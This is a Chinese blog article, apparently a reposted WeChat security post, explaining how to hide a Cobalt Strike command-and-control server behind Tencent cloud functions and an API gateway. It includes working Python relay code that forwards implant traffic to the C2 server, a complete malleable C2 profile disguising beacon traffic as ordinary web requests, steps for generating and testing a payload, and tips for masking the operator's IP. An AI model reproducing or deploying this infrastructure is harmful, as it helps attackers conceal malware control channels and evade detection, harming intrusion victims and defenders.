点击蓝字
关注我们
声明
本文作者:北美第一突破手
本文字数:2000
阅读时长:20分钟
附件/链接:点击查看原文下载
声明:请勿用作违法用途,否则后果自负
本文属于WgpSec原创奖励计划,未经许可禁止转载
原理介绍
这个技术最先是在今年的3月份国外提出的,他们利用 azure 对 C2 进行隐藏,国内也有相对应的 云函数厂商,于是我们就尝试使用云函数对我们的 C2 服务器进行隐藏
这个技术的核心原理是利用云函数将我们的请求进行转发(和一些使用第三方应用进行转发是一样的);C2客户端发出的流量经过 云函数的转发,到达我们的C2服务器,达到隐藏的效果,并且因为云函数的服务器是自带 CDN
的,所以为我们的信息传递提供了加速的效果,但是转发的途中有损耗,不能像直接连接那样快,但是足够让我们感受到快乐了。
具体实现
CS 一定要使用 4.1 版本(文末下载链接),4.0不行。
我们使用腾讯的 云函数 + API网关 进行具体的实现:
每个月免费的一百万次的请求和40万GB·s的资源请求,基本上叫做用不完了
云函数
创建测试云函数
首先使用云函数进行创建:
函数的名字和语言的类型都可以自定义选择,你使用哪种语言进行开发,就选择哪种代码进行书写,这样我们创建好了一个云函数,里面的内容我们先不写,先创建好触发管理,然后确定能够访问到我们再书写转发代码,在触发管理中进行配置:
勾选 API网关触发 并且生成 API 网关,这个时候将我们的云函数发布,并且访问一下 API网关查看效果:
发布
访问:
可以看到我们访问网关后确实执行了我们的函数,我们在云函数的日志服务中也可以看到:
这样就确定我们能够通过API网关调用函数。
中转函数创建
这里我贴出 python3 的中转代码:
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
在python3.6中请求 HTTPS的话会存在一些问题,所以我们在请求的主体中加上了 verify=False
当然,要是你使用的是 HTTP的话也没事,不用去掉一样能用,然后将上面的代码放到云函数中:
在这里我帮大家排个坑,使用域名的话,是不能套 CDN 的,会直接找不到,只能使用纯IP的方式
然后保存发布函数,再到触发条件里面把原来的 API网关触发删除,添加新的网关触发,因为上面我们为了测试是否能够访问到函数,没有勾选集成响应,集成响应不勾选的话,返回的数据格式是 JSON 的格式,对二进制数据不太支持:
然后我们还需要去配置 API 网关的默认路径:
然后直接完成配置
配置好云函数和 API网关 以后,我们去配置一下 C2 的服务器
新增 profile 文件
这里是使用 Github上一个师傅的代码:
set sample_name "kris_abao";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/getit";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/postit";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
创建好以后,将这个文件放到CS的根目录下:
然后启动 CS 并且加载配置文件,在4.1运行,在4.0中会有玄学问题:
本地打开 C2 客户端,然后监听一下本地的80端口,查看web日志,看看是否可以访问得到:
配置监听:
复制一下路径,在监听中填写,监听的类型根据你在函数中填写的来选,如果使用的HTTPS的话就选 HTTPS,使用HTTP就使用HTTP:
在 C2 客户端的 WEB日志可以看到请求:
上线测试
生成马子,并且测试上线:
然后我们将马子放到微步沙箱上进行查看:
已经将我们的信息隐藏起来,只能看到云函数的信息,并且我们的流量会一直从云函数上转发,为了测试我们将 回连的时间设置为 5s 查看一下云函数日志的信息:
可以发现对应的时间间隔为 5s 说明我们的流量都是中转了的,在日志中的敏感信息除了自己的本机的IP会被记录以外,不会涉及到其他任何信息,可以将自己的IP进行代理做到隐藏。
除此以外,还有一个非常离谱的东西,就是我们使用的时候,你会发现这个 IP 一直变换,这个是正常的,不用紧张可以正常使用,但是你要是用4.0的话就没法执行命令了:
IP 问题
上面所提到的 IP 一直变换是由于腾讯云自己的 CDN 的缘故,我们上线的机器的外网IP全部都是腾讯云的,如下:
这样我们可以使用一些其他的方式获得当前主机的 IP 例如使用 curl命令:
shell curl ident.me
参考链接
Fully Functional C2(https://www.dropbox.com/s/2yo4uud6fgbe1t5/Fully Functional C2.pptx)
后记
CS4.1 下载链接:公众号回复 CS 获得下载链接!
扫码二维码
获取更多精彩
洛米唯熊
点个在看 你最好看
本文始发于微信公众号(洛米唯熊):C2使用云函数进行隐藏和加速
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论